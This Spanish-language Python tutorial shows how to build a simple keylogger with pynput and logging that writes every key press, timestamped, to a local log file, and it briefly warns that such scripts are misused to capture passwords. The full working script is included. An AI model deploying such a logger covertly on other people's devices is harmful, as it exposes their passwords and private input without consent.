Crear un Keylogger en Python

Manav Narula 15 febrero 2024
Crear un Keylogger en Python

En Python, podemos leer la entrada del usuario y detectar dispositivos de hardware como un teclado y un mouse para desarrollar aplicaciones interactivas. En particular, el módulo pynput nos permite trabajar con dichos dispositivos y detectar la pulsación de teclas y el movimiento del cursor con funciones.

Este tutorial demostrará cómo crear un keylogger en Python.

Crear un Keylogger en Python

Primero, comprendamos qué es un keylogger. Un keylogger es una aplicación que puede leer las teclas presionadas por el usuario en el teclado y almacenarlas en un archivo de registro.

Estas aplicaciones generalmente se usan para monitorear dispositivos para solucionar problemas y detectar problemas técnicos. En estos días, dichos scripts se usan con intenciones maliciosas, como monitorear dispositivos para ver la contraseña y otros códigos de acceso, por lo que se debe tener cuidado al usar estos scripts.

Ahora crearemos un keylogger simple en Python utilizando los módulos logging y pynput.

Usaremos el módulo de registro para crear un archivo de registro que rastrea todas las teclas presionadas. Crearemos un archivo usando el constructor basicConfig() y especificaremos el nombre del archivo y el format dentro de este constructor.

El módulo pynput tiene un objeto Listener que recopila funciones cuando se presiona una tecla. Definiremos una función llamada pulsar que recogerá el objeto Oyente.

La función press() leerá las teclas presionadas y las registrará en el archivo usando la función logging.info(). Tenga en cuenta que primero deberá escribir la clave en una cadena.

Código:

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(
    filename=("logfile.txt"), level=logging.DEBUG, format="%(asctime)s: %(message)s"
)


def press(key):
    logging.info(str(key))


with Listener(on_press=press) as listener:
    listener.join()

Producción:

salida del registrador de teclas

Como se muestra en el ejemplo anterior, cuando se ejecuta el script dado, las teclas presionadas por el usuario se anotan en el archivo de registro. Tenga en cuenta que cada entrada en el archivo de registro se basa en el formato especificado en la función basicConfig().

Manav Narula avatar Manav Narula avatar

Manav is a IT Professional who has a lot of experience as a core developer in many live projects. He is an avid learner who enjoys learning new things and sharing his findings whenever possible.

LinkedIn